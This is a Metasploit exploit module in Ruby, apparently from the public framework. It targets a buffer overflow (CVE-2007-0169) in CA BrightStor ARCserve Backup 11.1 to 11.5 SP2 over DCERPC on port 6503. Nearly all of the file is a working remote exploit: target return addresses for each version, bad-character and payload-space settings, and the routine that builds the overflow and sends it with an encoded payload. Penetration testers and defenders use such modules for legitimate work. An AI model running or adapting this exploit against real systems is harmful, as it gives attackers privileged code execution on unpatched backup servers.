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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = AverageRanking
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  include Msf::Exploit::Remote::DCERPC
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'CA BrightStor ARCserve Message Engine Buffer Overflow',
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        'Description' => %q{
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          This module exploits a buffer overflow in Computer Associates BrightStor ARCserve Backup
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          11.1 - 11.5 SP2. By sending a specially crafted RPC request, an attacker could overflow
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          the buffer and execute arbitrary code.
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        },
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        'Author' => [ 'MC', 'aushack' ],
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        'License' => MSF_LICENSE,
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        'References' => [
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          [ 'CVE', '2007-0169' ],
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          [ 'OSVDB', '31318' ],
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          [ 'BID', '22005' ],
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        ],
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        'Privileged' => true,
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        'DefaultOptions' => {
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          'EXITFUNC' => 'thread',
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        },
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        'Payload' => {
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          'Space' => 600,
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          'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e",
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          'StackAdjustment' => -3500,
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        },
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        'Platform' => 'win',
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        'Targets' => [
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          [ 'BrightStor ARCserve r11.1',	{ 'Ret' => 0x23805d10 } ], # p/p/r cheyprod.dll 07/21/2004
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          [ 'BrightStor ARCserve r11.5',	{ 'Ret' => 0x2380ceb5 } ],
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          [ 'BrightStor ARCserve r11.5 SP2',	{ 'Ret' => 0x2380a47d } ],
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        ],
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        'DisclosureDate' => '2007-01-11',
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        'DefaultTarget' => 1,
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        'Notes' => {
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          'Reliability' => UNKNOWN_RELIABILITY,
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          'Stability' => UNKNOWN_STABILITY,
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          'SideEffects' => UNKNOWN_SIDE_EFFECTS
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        }
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      )
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    )
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    register_options(
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      [
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        Opt::RPORT(6503)
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      ]
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    )
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  end
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  def exploit
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    connect
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    handle = dcerpc_handle('dc246bf0-7a7a-11ce-9f88-00805fe43838', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']])
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    print_status("Binding to #{handle} ...")
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    dcerpc_bind(handle)
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    print_status("Bound to #{handle} ...")
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    filler = rand_text_english(616) + Rex::Arch::X86.jmp_short(6) + rand_text_english(2) + [target.ret].pack('V')
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    sploit = NDR.string(filler + payload.encoded + "\x00") + NDR.long(0)
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    print_status("Trying target #{target.name}...")
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    begin
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      dcerpc_call(47, sploit)
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    rescue Rex::Proto::DCERPC::Exceptions::NoResponse
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    end
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    handler
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    disconnect
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  end
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end
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